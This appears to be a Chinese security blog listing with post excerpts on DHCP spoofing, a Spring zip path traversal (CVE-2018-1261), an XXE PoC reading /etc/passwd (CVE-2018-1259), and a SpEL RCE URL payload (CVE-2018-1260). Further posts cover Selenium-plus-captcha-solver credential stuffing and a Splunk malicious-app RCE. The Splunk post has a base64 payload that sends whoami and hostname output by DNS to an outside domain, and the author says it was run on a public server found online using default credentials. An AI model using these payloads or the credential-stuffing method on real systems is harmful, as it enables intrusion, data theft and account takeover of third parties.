测试中发现不能长久抢走该IP地址,Win7虚拟机能在莫瞬间的使用这个IP地址,被攻击目标10.10.32.147电脑会出现偶尔的丢包情况。        实验结论:        1、这个脚本是可以做DHCP欺骗的        2、在网络环境中,DHCP形式接入网络,可能是不安全的。攻击者可以伪造响应包,攻击DHCP客户端,可以分配错误的IP,给定错误的网关IP实现流量劫持等操作。        3. 静态IP绑定较安全,如果出现网络丢包情况时,可以用wireshark抓包看看DHCP的响应IP,如果非正常的DHCP Server则可能存在攻击者。        4. 如果网络中存在服务器种了木马,利用CVE-2018-1111和shellshock的漏洞伪造DHCP返回包,攻击内网其他服务器的攻击方式,很难被发现。。不知道有没有防御这种的产品和思路?参考:        1. DHCP协议原理分析... 继续阅读 »
渗透技巧

CVE-2018-1261-复现和分析

CVE-2018-1261-复现和分析
开篇:       日前,Spring的一个zip组件被爆了一个严重的漏洞,漏洞编号和标题为CVE-2018-1261 Unsafe Unzip with spring-integration-zip。根据描述在spring-integration-zip的1.0.1版本之前在对bzip2, tar, xz, war, cpio, 7z类型的压缩文件进行在解压的时候,如果压缩文件是恶意构造的不可信文件,可导致向任意目录写入文件。现在我们来复现和分析一下该漏洞的发生细节。复现漏洞:       为了复现漏洞,我们可以到Spring的GitHub下载存在漏洞版本的源码文件,地址:https://github.com/spring-projects/spring-integration-extensions/releases 下载1.0.1之前的版本,然后在本地解压。        然后到spring-integration-zip目录下,使用命令:./gradlew idea        生成idea的项目文件,执行完成后,即可用IDEA打开spring-integration-zip.ipr文件如下:        根据描述,提到了This specifically applies to the unzip transformer.        我们可以通过修改src/test/java/org.springframework.integration.zip/transformer文件下面的测试文件进行漏洞的复现和分析,        这个目录下面有这些文件:            这里自带了2个测试类,分别是测试压缩和解压相关的。从漏洞描述里,我们大概可以猜到是在解压的压缩包文件里有文件名为:../../../../hack.txt这样的文件,在解压释放时将文件名直接和文件路径进行拼接,然后创建文件,因 ../../ 跳跃到了其他目录,文件被释放到了预期意外的目录下面从而导致了漏洞发生。        于是我们需要制作一个这样的“特殊”文件,这里可以通过ZipTransformerTests文件里的函数,加以修改来实现,修改测试代码如下:                        我们通过unzip命令看看压缩包文件的结构如下图:                        做好了压缩包后,下面是参考给出的测试方法,修改的解压代码截图如下:                现在我们可以使用Junit运行这个测试函数,观察tmp目录,会生成txt文件,                我们来调试看看,下断点跟进处理doZipTransform的实现代码里,如下图:                这里的payload是MessageBuilder类的withPayload函数的参数,是一个输入流,读取加载的是我们给的zip文件,                        下面是实现的是使用ZipUtil类遍历输入流里每一个Entry利用回调函数ZipEntryCallback处理它,重点看处理的逻辑:    继续跟进:        文件成功释放到指定目录,如下截图:                    到此漏洞已经被成功利用,产生漏洞的原因是对压缩文件里的文件名没有任何过滤,直接进行文件路径+文件名的拼接,创建了新文件。        我们看看官方给的修复是怎样的,补丁地址,部分截图如下:                首先删掉了直接拼接的代码,加入了一个checkPath函数,该函数代码如下:        我们更新一下这块修复代码然后再次进行测试如下图:        这里已经测试失败了,因为checkPath函数对destinationFile进行了判断,即判断了要写入的文件绝对路径值(destinationFile.getCanonicalPath()函数)是否包含了指定的释放目录,在这个下面,  这里很明显不满足,抛出异常程序终止了。                想法很皮,实践测试中,发现似乎也不会出现想的那样,绕过了进行文件写入操作,报错如下:                测试中发现更新了最新的补丁的现在(CVE-2018-1263补丁后),虽然不能任意目录跳了,但是可以在设置的workDirectory下面跳,最上层跳不出这个限制。比如,制作压缩包:解压代码:解压后:        这里举例说这个情况,是告诉大家配置不当会存在一定风险的,在配置workDirectory时尽量最小化配置,别配置成/var/ home/这一类的路径了,因为这些下面有一些地方被任意写入了文件是很可怕的。需要注意!!!参考来源:    1、https://www.cnblogs.com/yangxiaodi/p/9036916.html     2、https://www.anquanke.com/post/id/144775     3、https://pivotal.io/security/cve-2018-1261... 继续阅读 »
渗透技巧

关于CVE-2018-1259-XXE漏洞复现

关于CVE-2018-1259-XXE漏洞复现
前提:    最近Spring几连发的漏洞里有一个漏洞是CVE-2018-1259,地址是https://pivotal.io/security/cve-2018-1259,根据我对描述的理解,这个锅不应该给Spring接啊,描述有一段话:Spring Data Commons, versions prior to 1.13 to 1.13.11 and 2.0 to 2.0.6 used in combination with XMLBeam 1.4.14 or earlier versions contain a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion.    描述中说Spring 的公用数据组件的1.13 到 1.13.11版本和2.0到2.0.6版本使用了XMLBeam 1.4.14 或更早的版本,它存在一个外部实体应用即XXE漏洞。问题出在XMLBeam身上,修复方式就是升级XMLBeam到1.4.15以上,这个锅Spring不应该背吧。复现XMLBeam的XXE漏洞和分析:     这个CVE应该给XMLBeam的,但是它的下载地址是https://xmlbeam.org/download.html,我们在GitHub找了一个使用XMLBeam的demo来进行漏洞复现和分析。    Demo地址:       https://github.com/olivergierke/spring-examples/tree/master/scratchpad/src    下载然后导入IDEA:            这个Demo代码有点小情况需要处理才能很好的跑起来,导入IDEA后,用Maven开始构建。在site使用插件运行时,它使用的是Jetty组件运行,这个情况就是怎么访问uri地址/customers 都是404,一直很纳闷。在折腾中,我发现用junit测试是OK的,能复现和调试漏洞。后来同事提到用Spring-boot运行就很OK。于是这里记录一下怎么改用Spring-Boot运行(现学现用)。    在上面的那个位置,添加SpringBoot启动代码,现在我们就可以右键直接run了。        现在我们可以简单阅读demo代码,理解如何测试,找到XmlBeamExample.java文件如下:    看看pom.xml确认一下XMLBeam的版本,用的是老版本1.4.6,目前最新的版本是1.4.14.            环境准备好了,我们开始下断点,和构造测试的POST请求,构造POC如下:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <user> <firstname>&xxe;</firstname> <lastname></lastname> </user>        根据代码,我们需要构造POST请求,构造一组参数,XMLBeam会根据参数map对应进行自动解析绑定。        先复现一下效果:                这个漏洞的根本原因是由于XMLBeam的用法不当,我们在XMLBeamd 库里找到创建XML解析实体对象的地方,如下截图:            上面的是1.4.6版本,从官方下载最新的1.4.14版本的jar包源码看看,同样存在问题的,如下截图:        官方目前没有挂出更新后的版本,在maven仓库里我们可以搜到,已经有里修复版本1.4.15,地址:http://mvnrepository.com/artifact/org.xmlbeam/xmlprojector 下载最新的版本后,再查看此处配置如下:一些配置项如下:        从更新的代码来看,已经使用了开发语言提供的禁用外部实体的方法修复了这个XXE漏洞。                Spring官方的修复方式也是更新了这个库到1.4.15版本,https://jira.spring.io/browse/DATACMNS-1311?jql=project%20%3D%20DATACMNS%20AND%20fixVersion%20%3D%20%221.13.12%20(Ingalls%20SR12)%22         收获:        1、关于如何安全的使用和解析XML文本,可以看看下面给的参考文        2、知道了Spring Boot的这种启动方式,Jetty的坑,更加发现了Maven+IDEA配合的强大    参考:        1、https://docs.spring.io/spring-data/commons/docs/current/reference/html/#core.web.binding         2、https://security.tencent.com/index.php/blog/msg/69         3、https://blog.csdn.net/qq_32331073/article/details/79941132         4、https://pivotal.io/security/cve-2018-1259... 继续阅读 »
渗透技巧

CVE-2018-1260-RCE分析

CVE-2018-1260-RCE分析
本篇是漏洞编号:CVE-2018-1260的复现和分析过程笔记,https://pivotal.io/security/cve-2018-1260 【前方高能预警】分析过程可能非常的细,如果看不下去的话,可以看看先知大佬的分析文,最后会贴出地址。安装Demo:    从GitHub搜索找到了spring-security-oauth2-example 的代码,下载导入IDEA,配置JDK8.0            配置mysql连接,创建对应的数据库和表,这里提供一份sql文件,创建数据库alan-oauth,导入sql即可。地址:demo.sql            为了复现这个漏洞需要对源码进行修改,找到src/main/java/config/OAuthSecurityConfig.java 修改configure函数为下面内容:@Override     public void configure(ClientDetailsServiceConfigurer clients) throws Exception { //        clients.withClientDetails(clientDetails());         clients.inMemory()                 .withClient("client")                 //.secret("secret")                 .authorizedGrantTypes("authorization_code")                 .scopes();     }        到此环境已经准备好,现在可以准备调试复现漏洞了。复现&调试        复现:        使用sping-boot run 启动环境,访问GET类型的授权URL:http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com/&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22/Applications/Calculator.app/Contents/MacOS/Calculator%22%29%7D       它会跳转到一个登录页面,此时随意输入账号密码,点击登录即可弹出计算器:     调试分析:            上面我们已经复现了漏洞,现在进行调试跟踪一下弹计算器的过程做一做笔记,尽量写的详细一点。正向分析过程如下            从POC的复现触发过程,访问的URI /oauth/authorize 入手,我们尝试找到处理这个uri的地方,你可以通过源码全局搜索找到这个文件的地方文件地址:    org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoin    上面的代码中定义了2个跳转地址:private String userApprovalPage = "forward:/oauth/confirm_access"; private String errorPage = "forward:/oauth/error";    这两个地址就是用于完成该函数后,跳转过去的地址。    3、这个文件里定义了两个ModelAndView,分别处理GET/POST不同类型的认证的;我们找到了处理的入口函数后,现在可以开始调试了,在处理GET请求的函数逻辑里下断点,然后debug运行起来                运行起来后,用浏览器访问GET请求的认证POC地址,在出现的登录框里任意输入账号密码,点击Login                可以看到请求进来后,停在了断点处,parameters值就是GET请求里传进来的4个参数;调试Trick-1:        为了防止进入该断点逻辑后,再无法回到当前逻辑处,我们可以在该逻辑的下一行逻辑或代码处再下一断点。如下        现在我们可以放心大胆的跟进去吧,不用担心迷路后再也回不到这里来了。        到工厂里看看,这里前面几个处理是在读取值初始化,需要重点关注的是extractScopes,它的参数就是前面传进去的4个值,我们进去看看。        为了防止迷路,好习惯要开始养成不要忘了。    进去后是这样的,如下图所示:                如上图所示,先使用我们传入的scope值,按照空格分割,处理得到scopes 集合,然后实例化了一个clientDetails对象,这里面包含的就是我们的本地oauth的配置信息, 这个信息在代码中配置截图如下:        到了这里我们可以认真分析一下这里到代码,如下图:于是返回的是这个:回到上层函数继续跟进,我们可以看到我们传入的参数将拿去实例化一个认证请求类。这个认证请求类,目测是不需要多关注了,我们还是简单进去看看。再下个断点进去        到此,工厂返回的认证类实例化对象流程已完成,返回的认证类的scope被赋值了我们的恶意语句。回顾一下,恶意的scope在这个厂里生成时,在extractScopes 取值时,完全信任了客户端请求中传入的值。我们继续往下跟,看看后面有没有做处理,以及怎么被触发的。流程回到处理GET请求认证的ModelAndView处,此时的状态如下:紧跟着是一些if else的判断,大概浏览下,这些都是能顺利通过判断的,往后浏览发现156行处需要关注,根据取名意思推测这可能是最后一道门,看看对Scope做了什么校验: oauth2RequestValidator.validateScope(authorizationRequest, client);    为了防止断点跟飙了,在下一个逻辑160行代码再下一断点,然后跟进看看这个validateScope的逻辑    调试Trick-2:            想直接跳过很多逻辑直接到下一个断点,不想单步,或一个函数一个函数的调,下一个跟进点打断点后,直接Resume Prog    跟进去发现这里开始比对传入的scope和本地配置的scope值:    继续跟进    因为我们本地没有配置scope,所以这个里的clientScopes为空的第一个if条件不满足,不会抛出异常Invalid scope。请求带scope不为空,第二个if条件也不满足不会抛出异常Empty scope         继续往下看,下面的代码如下:        我们需要跟进checkForPreApproval了解下做了些什么操作,跟进去后发现逻辑有点多,较复杂。调试Trick-3:        当函数逻辑较复杂时,为了防止绕晕后,因意外跳出了该函数而懊悔,我们可以在函数退出的地方先下断点。            从单词的字面意思可以理解为检查先前是否被批准,被允许的,我们跟进去看看;        理解一下上面的代码,创建的ClientDetails类的实例化对象client,代表了本地配置的信息,requestedScopes代表的是 authorizationRequest里初始化后的scope集合,for循环就是在遍历authorizationRequest里设置的scope的集合是否包含在本地配置的范围如果包含就添加进approvedScopes。很明显这里不成立,因为本地我们没有配置scope,这个的approvedScopes最后为空的,如下图:            继续跟下去,发现在本地配置没有找到,开始查询数据库,截图如下:        我的数据库完全是空的,所以这里也不会查到任何信息,最后的approvedScopes也是为空的,所以我们在退出地方下断点,直接跳过去,看看退出时,approved值也应该是false,如下图:     回到上层,继续往下看    我们跟进去看看,里面是做什么的 :跟下去看到,会将当前带有恶意scope的authorizationRequest,forward到/oauth/confirm_access处,如下图:    我们继续跟下去,先搜索找到/oauth/confirm_access的处理地方,下断点等候流程跳过去;找到位置如下图:org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java这里已经看到了危险的气息,点击Resume Program直接到这里来,我们可以看到给SpelView解析的模版里面,已经带入了恶意的scope的值,这个模版的页面就是提供给前端手动认证的页面。这里就不需要再跟进了,直接Resume Program,即可触发弹出计算器;            至此整个漏洞的触发流程已经分析完成,回顾一下整个分析过程我们揪出一下产生漏洞是由于输入的scope没有安全检查,当没有配置scope值时,输入的scope经过一层层处理,最终到了SPEL解析引擎补丁修复:    commit记录: https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c    从补丁的变化来看,去除了SpelView的解析模版方式了,直接拼接的HTML,并用HtmlUtils.htmlEscape编码输出页面的值,。    参考:        1、https://pivotal.io/security/cve-2018-1260         2、https://xz.aliyun.com/t/2330... 继续阅读 »
Python编程

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】
题外话:     测试的目标网站如果,登录接口有验证码+浏览器环境检测的时候,有时候脚本小子就望而却步了比如我。因为正面对抗JS的环境检测和验证码是有难度的,这个时候我们可以借助Selenium + 打码平台来搞一搞。这里只做笔记记录,不做具体细节描述,如有兴趣可以私下交流。测试目标:        我们的假定目标如下,某贷网站的登录入口:关键点:       1、需要自动填充账号、密码       2、需要将验证码进行截图,然后接入打码平台SDK       3、这里暂时不管,短信验证码。一般情况:        使用Selenium进行自动化登录的基本操作是会的,结合打码平台的SDK的操作也是基本的,有时候会遇到验证码是特殊url,页面关联性很强的时候,想要打码,必须使用通过截图打码来完成登录。关于selenium+验证码截图网上搜一搜有很多,比如你会搜到下面的:上面的这种在windosw上确实OK的,不一般的情况:        上面的情况适合一部分Window用户,Mac电脑上就不一样了,多次的实践结果证明Mac上的对验证码截图部分代码应该是下面这样写的:(曾经去B站大佬面前演示过B站可被撞库)特殊情况:        今天遇到了不一样的情况了,这个情况就是开篇截图里的情况。当登录页面有滚动条的时候,上面的2种做法都行不通了。回顾截图的代码,思路是,先整体当前网页全屏截图,然后通过Selenium查找到验证码图片元素,拿到该图片元素的长-宽,以及在页面的location相对位置,然后通过计算得到截图的坐标,通过4个坐标点,进行截图得到了我们想要的验证码图片。       这里的新情况是,页面出现了滚动条,如下图:    在有滚动条的时候,验证码图片的相对位置计算方式就不一样了,滚动条向下滚动了,验证码图相对于网页的左上角是更近了一些距离,这个距离就是滚动条的滚动距离。    所以4个点坐标的正确计算方式记录一下应该如下:       上面的思路是:                1. 获取当前滚动条滚动距离。                2. 创建一个标签,记录该值,然后selenium找到这个标签,拿到这个值。                3. 验证码元素的相对位置y值需要剪掉滚动的距离。    这样就能拿到验证码图片了        剩下的工作就是SDK打码,输入验证码,进行测试了,这就不多说了。。总结:        确认过眼神,就是这么整。... 继续阅读 »
渗透技巧

splunk远程命令执行漏洞(超级管理员权限)

splunk远程命令执行漏洞(超级管理员权限)
1、漏洞产生原理       Splunk允许在使用超级管理员权限登录后,在“应用”-“管理应用”功能里,通过上传本地文件或者从网络安装新的应用。通过构造恶意的应用,攻击者可以实现远程命令执行。和Tomcat 登进manager/html 部署war拿shell类似2、漏洞复现如下:复现版本:splunk6.6.6第一步,打开找到从本地上传文件,安装应用的页面: 第二步,选择和上传恶意的App文件,并安装 [^upload_app_exec.tgz]  msfconsole提供的文件https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/splunk/upload_app_exec.tgz 安装后,在应用里出现新安装的恶意应用(第四个) 第三步,任意Splunk用户均可触发执行任意的系统命令payload:* | script msf_exec ZWNobyBoZWxsb19rb21pXzIwMTg+L3RtcC94eHh4b29vbw==         公网找的一个测试地址:        http://50.112.233.208:8000/        默认账号密码:admin/changeme            构造payload:            * | script msf_exec cGluZyBgd2hvYW1pYC5gaG9zdG5hbWVgLnNwbHVuay54Lnhma3hmay5jb20=   满满的爱。。。3. 漏洞影响评估      从漏洞产生原理来看,是由于Splunk对安装应用没有做恶意检测造成。因为这是正常的功能,Splunk官方不认为是安全漏洞,但攻击者拿到system权限后可以通过利用这个正常的功能实现对操作系统的控制。恶意应用可以是本地构造的上传文件,也可能是官方推送的”更多的应用“。从Zoomeye看分布情况。https://www.zoomeye.org/searchResult?q=Splunk 还好,暴露在公网的不算多。大部分都是改过默认密码的。。4. 修改建议      建议直接禁用了新应用安装功能5. 参考    https://www.exploit-db.com/exploits/23224/... 继续阅读 »